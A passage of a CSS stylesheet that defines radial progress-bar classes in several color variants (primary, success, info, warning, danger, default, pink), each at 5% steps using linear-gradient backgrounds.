.radial-bar.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-50 {
  background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-55 {
  background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-60 {
  background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-65 {
  background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-70 {
  background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-75 {
  background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-80 {
  background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-85 {
  background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-90 {
  background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-95 {
  background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-100 {
  background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-50 {
  background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-55 {
  background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-60 {
  background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-65 {
  background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-70 {
  background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-75 {
  background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-80 {
  background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-85 {
  background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-90 {
  background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-95 {
  background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-primary.radial-bar-100 {
  background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-50 {
  background-image: linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-55 {
  background-image: linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-60 {
  background-image: linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-65 {
  background-image: linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-70 {
  background-image: linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-75 {
  background-image: linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-80 {
  background-image: linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-85 {
  background-image: linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-90 {
  background-image: linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-95 {
  background-image: linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-success.radial-bar-100 {
  background-image: linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-50 {
  background-image: linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-55 {
  background-image: linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-60 {
  background-image: linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-65 {
  background-image: linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-70 {
  background-image: linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-75 {
  background-image: linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-80 {
  background-image: linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-85 {
  background-image: linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-90 {
  background-image: linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-95 {
  background-image: linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-info.radial-bar-100 {
  background-image: linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-50 {
  background-image: linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-55 {
  background-image: linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-60 {
  background-image: linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-65 {
  background-image: linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-70 {
  background-image: linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-75 {
  background-image: linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-80 {
  background-image: linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-85 {
  background-image: linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-90 {
  background-image: linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-95 {
  background-image: linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-warning.radial-bar-100 {
  background-image: linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-50 {
  background-image: linear-gradient(270deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-55 {
  background-image: linear-gradient(288deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-60 {
  background-image: linear-gradient(306deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-65 {
  background-image: linear-gradient(324deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-70 {
  background-image: linear-gradient(342deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-75 {
  background-image: linear-gradient(360deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-80 {
  background-image: linear-gradient(378deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-85 {
  background-image: linear-gradient(396deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-90 {
  background-image: linear-gradient(414deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-95 {
  background-image: linear-gradient(432deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-danger.radial-bar-100 {
  background-image: linear-gradient(450deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Default -- */
.radial-bar-default.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-45 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-50 {
  background-image: linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-55 {
  background-image: linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-60 {
  background-image: linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-65 {
  background-image: linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-70 {
  background-image: linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-75 {
  background-image: linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-80 {
  background-image: linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-85 {
  background-image: linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-90 {
  background-image: linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-95 {
  background-image: linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-default.radial-bar-100 {
  background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); }

/* -- Radial Pink -- */
.radial-bar-pink.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-15 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-20 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-25 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-30 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-35 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-40 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar-pink.radial-bar-45 {
